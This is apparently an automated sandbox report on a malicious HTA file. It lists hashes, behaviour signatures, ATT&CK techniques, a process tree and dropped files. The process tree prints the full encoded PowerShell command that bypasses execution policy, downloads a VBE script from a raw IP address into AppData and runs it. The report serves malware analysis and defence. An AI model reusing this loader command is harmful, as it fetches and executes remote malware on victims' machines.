97fe4d3d9dbd53b1741e6a8dd6f6183dbe0f9d031a1a0c1ef344e6c02c2bcfee

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
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05/08/2026, 18:15

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General

Target
weneedbestthingswithbetterplace.hta
Size 14KB
Sample260805-wv4khsshng
SHA256 97fe4d3d9dbd53b1741e6a8dd6f6183dbe0f9d031a1a0c1ef344e6c02c2bcfee
MD5 d412a3cf7b6e8042ccb181a5ca707df6
SHA1 c5e84c9484c69e67a5de2ddfa96d2b67b78d1718
SHA512 15a080b2a8473b36e94b63579143d2f1f9850bc13d52eb2f2f8ea368518da990f74d8551186bae3810d764e369ea7b3cb6f49a0004ea520a3f54da5e866fc811
SSDEEP 48:3fXlSYfbWNXle3YfbWc6otfNUhqFuuHh9Glt0khqfXlOXl5aYfbWEXlHPG:vVHqNVeoqWMhsh9GMkh8VOV5/qEVH+
TLSH
T1E062DABCEB80FDC103A761C1995FAE4241947B6BDB116F1CB0CC055A1B55A68CD7E60F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4112	powershell.exe
4	5068	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5068	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4468	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4112	powershell.exe
4112	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 4468	2588	mshta.exe	86
PID 4468 wrote to memory of 4112	4468	cmd.exe	88
PID 4112 wrote to memory of 5068	4112	powershell.exe	90

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\weneedbestthingswithbetterplace.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWERsHeLL -Ex BYPAsS -nOP -W 1 -eC IAAJACAAIAAJAAkACQAgACAACQB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMgAxADYALgAyADIANQAuADIAMAA2AC4AMwAxAC8ANAA0AC8AYwByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwBVAFQAZgBJAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBOAFYAOgBhAHAAcABkAGEAVABBAFwAcgBlAGEAdABlAGQAYgBlAHMAdABuAGEAdAB1AHIAZQBhAGwAcwB5AHMAdABlAG0AZgBvAHIAYgBlAHMAdABlAG4AdABpAGUAcgB5AGYAbwByAG0AZQBiAGUAcwB0AC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAcABwAGQAQQBUAEEAXAByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdIA== "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWERsHeLL -Ex BYPAsS -nOP -W 1 -eC IAAJACAAIAAJAAkACQAgACAACQB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMgAxADYALgAyADIANQAuADIAMAA2AC4AMwAxAC8ANAA0AC8AYwByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwBVAFQAZgBJAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBOAFYAOgBhAHAAcABkAGEAVABBAFwAcgBlAGEAdABlAGQAYgBlAHMAdABuAGEAdAB1AHIAZQBhAGwAcwB5AHMAdABlAG0AZgBvAHIAYgBlAHMAdABlAG4AdABpAGUAcgB5AGYAbwByAG0AZQBiAGUAcwB0AC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAcABwAGQAQQBUAEEAXAByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdIA== "
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reatedbestnaturealsystemforbestentieryformebest.vbe"
      4⤵
      Badlisted process makes network request
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      PID:5068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_tnyocrbq.mks.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnyocrbq.mks.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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reatedbestnaturealsystemforbestentieryformebest.vbe

Path C:\Users\Admin\AppData\Roaming\reatedbestnaturealsystemforbestentieryformebest.vbe
Size 55KB
SHA256 e7cf977ae74e167bd6d3e66ebe168217746428fbcaf5382e045eb9c220e6a0ae
MD5 3b20118c336577b4a0bee91fb441d6f8
SHA1 8c4085524069927c67cd285fade200b68a50de64
SHA512 68ae4ff35ef02aa1e48a88f31e5f775cd0083fb7959839e79b353695b50987122ca793ce5f258f8e2ee5ebc79c0959613234a858d17a06e0353edbd5f3b541ed
SSDEEP 768:fVCyN++/c5TKdvuPDt39RQq2wCT1ay4Fnmw7qivD9z6SldaIXPg0Q:dD/c5Tw6R9FbY48SI0Q
TLSH
T155438778190558D78113BC01D9431AA6CFF8D21326EB1EB9C341A6CA079E7D7C8B6DEB
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4112-6-0x0000000006240000-0x00000000062A6000-memory.dmp

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memory/4112-3-0x00000000059D0000-0x0000000005FF8000-memory.dmp

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memory/4112-4-0x0000000006030000-0x0000000006052000-memory.dmp

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memory/4112-5-0x00000000061D0000-0x0000000006236000-memory.dmp

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memory/4112-0-0x0000000003310000-0x0000000003320000-memory.dmp

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memory/4112-2-0x0000000003310000-0x0000000003320000-memory.dmp

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memory/4112-14-0x00000000062B0000-0x0000000006604000-memory.dmp

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memory/4112-15-0x00000000068A0000-0x00000000068BE000-memory.dmp

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memory/4112-16-0x00000000068C0000-0x000000000690C000-memory.dmp

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memory/4112-17-0x0000000007F20000-0x000000000859A000-memory.dmp

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memory/4112-18-0x0000000006D80000-0x0000000006D9A000-memory.dmp

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memory/4112-1-0x00000000032B0000-0x00000000032E6000-memory.dmp

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